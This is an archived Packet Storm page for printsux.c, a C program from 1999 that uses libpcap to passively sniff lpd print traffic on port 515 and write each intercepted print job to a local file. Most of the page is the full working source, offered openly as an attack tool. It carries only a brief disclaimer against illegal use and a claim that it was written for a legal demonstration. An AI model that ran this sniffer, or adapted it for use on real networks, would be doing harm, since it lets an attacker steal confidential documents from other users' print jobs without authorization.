exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

printsux.c

printsux.c
Posted Jan 12, 2000
Authored by s0ftpj, Pigpen

This src grabs documents printed on a network printer installed with lpd by sniffing it from the network.

SHA-256 | fdd3a4da4b6c7e5bdabff5d056a2cdc6624bc2137b16ee1f75f434459fc2b500

printsux.c

Change Mirror Download
/*
* date: 31-12-99 -- 13.31
* filename: printsux.c
* compile with: cc printsux.c -lpcap
*
* This src grabs documents printed on a network printer installed with lpd
*
* Don't use it for illegal purposes !
* It works only with normal hubs and without security layers :)
*
* QUESTO SORGENTE E' LIBERO COME L'ARIA POTETE MODIFICARLO, CAMBIARE ANCHE
* IL NOME DELL'AUTORE E/O DEL FILE L'UNICO VINCOLO E' LA SINTASSI PROPRIA
* DEL LINGUAGGIO :D SI VIETA L'UTILIZZO PER SCOPI ILLEGALI.
*
* Questo sorgente dimostra come sia facile in alcuni casi rubare documenti
* o altro stampato su una stampante collegata in rete ...
* Funziona nel caso in cui l'admin sia un gran pangonlino e in assenza di un
* hub switch... ovvio che funge solo su stampe remote... scusatemi se non
* avevo voglia di rendere leggibile tutto il file grabbato ad ogni modo il
* documento e' ben visibile dal resto ...
*
* Questo stupido sorgente e' stato utilizzato per una dimostrazione legale
* si vieta l'utilizzo per altri scopi.
*
* Per cocacola, caffe' di buona marca e concerti sono contattabile:
*
* pigpen [pigpen@s0ftpj.org]
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <pcap.h>

#if (linux)
#define __FAVOR_BSD
#endif

#include <netinet/ip.h>
#include <netinet/tcp.h>

#define PORT 515
#define SUFFIX "grab"


FILE *fp = NULL;
pcap_t *p_desc = NULL;


void aroundaround()
{
if(fp) fclose(fp);
if(p_desc) pcap_close(p_desc);

exit(0);
}


int main(void)
{
char filename[15];

char *p_device,
*p_err = NULL,
*buff = NULL;

int datalink,
offset = 0,
count = 0;

struct pcap_pkthdr p_hdr;
struct ip *IP;
struct tcphdr *TCP;


signal(SIGINT, aroundaround);
signal(SIGTERM, aroundaround);
signal(SIGKILL, aroundaround);
signal(SIGQUIT, aroundaround);


if((p_device = pcap_lookupdev(p_err)))
printf("Interface -> %s\n", p_device);
else {
printf("%s\n", p_err);
return 0;
}

if (!(p_desc = pcap_open_live(p_device, 68, 1, 1000, p_err))) {
printf("Error opening pcap: %s", p_err);
return 0;
}

datalink = pcap_datalink(p_desc);

switch(datalink) {
case DLT_EN10MB:
offset = 14;
break;

// put other types of datalink if you want ....
}

printf("Sniffing pkt ...\n");

while(1) {
if ((buff = (char *) pcap_next(p_desc, &p_hdr))) {
(char *) buff += offset;
IP = (struct ip *) buff;

switch(IP->ip_p) {
case IPPROTO_TCP:
TCP = (struct tcphdr *) (buff + ((int)IP->ip_hl << 2));
if(ntohs(TCP->th_dport)==PORT) {
if (TCP->th_flags & TH_SYN) {
if (fp) fclose(fp);
printf("Detect a print job\n");
count++;
snprintf(filename, sizeof(filename)-1, "%s%d",
SUFFIX, count);
fp=fopen(filename,"a+");
}
fwrite(buff + sizeof(struct ip) + sizeof(struct tcphdr),
ntohs(IP->ip_len) - sizeof(struct ip) -
sizeof(struct tcphdr), 1, fp);
fflush(fp);
}
break;
}
}
}
}

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close